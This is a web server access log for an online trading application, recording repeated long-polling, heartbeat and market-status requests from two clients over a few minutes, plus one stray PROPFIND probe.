[09/Jan/2026:08:54:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920348235 HTTP/1.1" -
[09/Jan/2026:08:54:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920349308 HTTP/1.1" -
[09/Jan/2026:08:54:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920353371 HTTP/1.1" -
[09/Jan/2026:08:54:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920355303 HTTP/1.1" -
[09/Jan/2026:08:54:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920358499 HTTP/1.1" -
[09/Jan/2026:08:54:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920363634 HTTP/1.1" -
[09/Jan/2026:08:54:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920361299 HTTP/1.1" -
[09/Jan/2026:08:54:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920368806 HTTP/1.1" -
[09/Jan/2026:08:54:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920367309 HTTP/1.1" -
[09/Jan/2026:08:54:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:54:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:54:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:54:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:55:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920373976 HTTP/1.1" -
[09/Jan/2026:08:55:06 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920374788 HTTP/1.1" -
[09/Jan/2026:08:55:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920379022 HTTP/1.1" -
[09/Jan/2026:08:55:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920380308 HTTP/1.1" -
[09/Jan/2026:08:55:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920384069 HTTP/1.1" -
[09/Jan/2026:08:55:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:55:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:55:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:55:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:55:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920386312 HTTP/1.1" -
[09/Jan/2026:08:55:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920389203 HTTP/1.1" -
[09/Jan/2026:08:55:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920394375 HTTP/1.1" -
[09/Jan/2026:08:55:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920392299 HTTP/1.1" -
[09/Jan/2026:08:55:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920399492 HTTP/1.1" -
[09/Jan/2026:08:55:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920398305 HTTP/1.1" -
[09/Jan/2026:08:55:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:55:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:55:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:55:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:55:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920404625 HTTP/1.1" -
[09/Jan/2026:08:55:36 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920404313 HTTP/1.1" -
[09/Jan/2026:08:55:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920409692 HTTP/1.1" -
[09/Jan/2026:08:55:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920411308 HTTP/1.1" -
[09/Jan/2026:08:55:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920414830 HTTP/1.1" -
[09/Jan/2026:08:55:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920419951 HTTP/1.1" -
[09/Jan/2026:08:55:48 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920417299 HTTP/1.1" -
[09/Jan/2026:08:55:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920425086 HTTP/1.1" -
[09/Jan/2026:08:55:54 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920423311 HTTP/1.1" -
[09/Jan/2026:08:55:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920430238 HTTP/1.1" -
[09/Jan/2026:08:55:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:55:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:55:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:55:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:56:00 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920429305 HTTP/1.1" -
[09/Jan/2026:08:56:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920435383 HTTP/1.1" -
[09/Jan/2026:08:56:06 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920435308 HTTP/1.1" -
[09/Jan/2026:08:56:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920440477 HTTP/1.1" -
[09/Jan/2026:08:56:09 +0800] 64.23.158.207 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:08:56:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:56:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:56:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:56:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920441427 HTTP/1.1" -
[09/Jan/2026:08:56:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:56:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920445533 HTTP/1.1" -
[09/Jan/2026:08:56:18 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920447309 HTTP/1.1" -
[09/Jan/2026:08:56:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920450733 HTTP/1.1" -
[09/Jan/2026:08:56:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920455918 HTTP/1.1" -
[09/Jan/2026:08:56:24 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920453308 HTTP/1.1" -
[09/Jan/2026:08:56:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920461090 HTTP/1.1" -
[09/Jan/2026:08:56:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:56:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:56:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:56:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:56:30 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920459300 HTTP/1.1" -
[09/Jan/2026:08:56:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920466230 HTTP/1.1" -
[09/Jan/2026:08:56:36 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920465299 HTTP/1.1" -
[09/Jan/2026:08:56:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920471291 HTTP/1.1" -
[09/Jan/2026:08:56:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920471305 HTTP/1.1" -
[09/Jan/2026:08:56:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920476437 HTTP/1.1" -
[09/Jan/2026:08:56:48 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920477299 HTTP/1.1" -
[09/Jan/2026:08:56:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920481549 HTTP/1.1" -
[09/Jan/2026:08:56:54 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920483305 HTTP/1.1" -
[09/Jan/2026:08:56:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920486688 HTTP/1.1" -
[09/Jan/2026:08:56:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:57:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:57:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:57:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920491858 HTTP/1.1" -
[09/Jan/2026:08:57:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:57:00 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920489302 HTTP/1.1" -
[09/Jan/2026:08:57:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920496903 HTTP/1.1" -
[09/Jan/2026:08:57:06 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920495314 HTTP/1.1" -
[09/Jan/2026:08:57:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920502053 HTTP/1.1" -
[09/Jan/2026:08:57:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:57:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:57:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:57:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920501423 HTTP/1.1" -
[09/Jan/2026:08:57:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:57:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920507217 HTTP/1.1" -
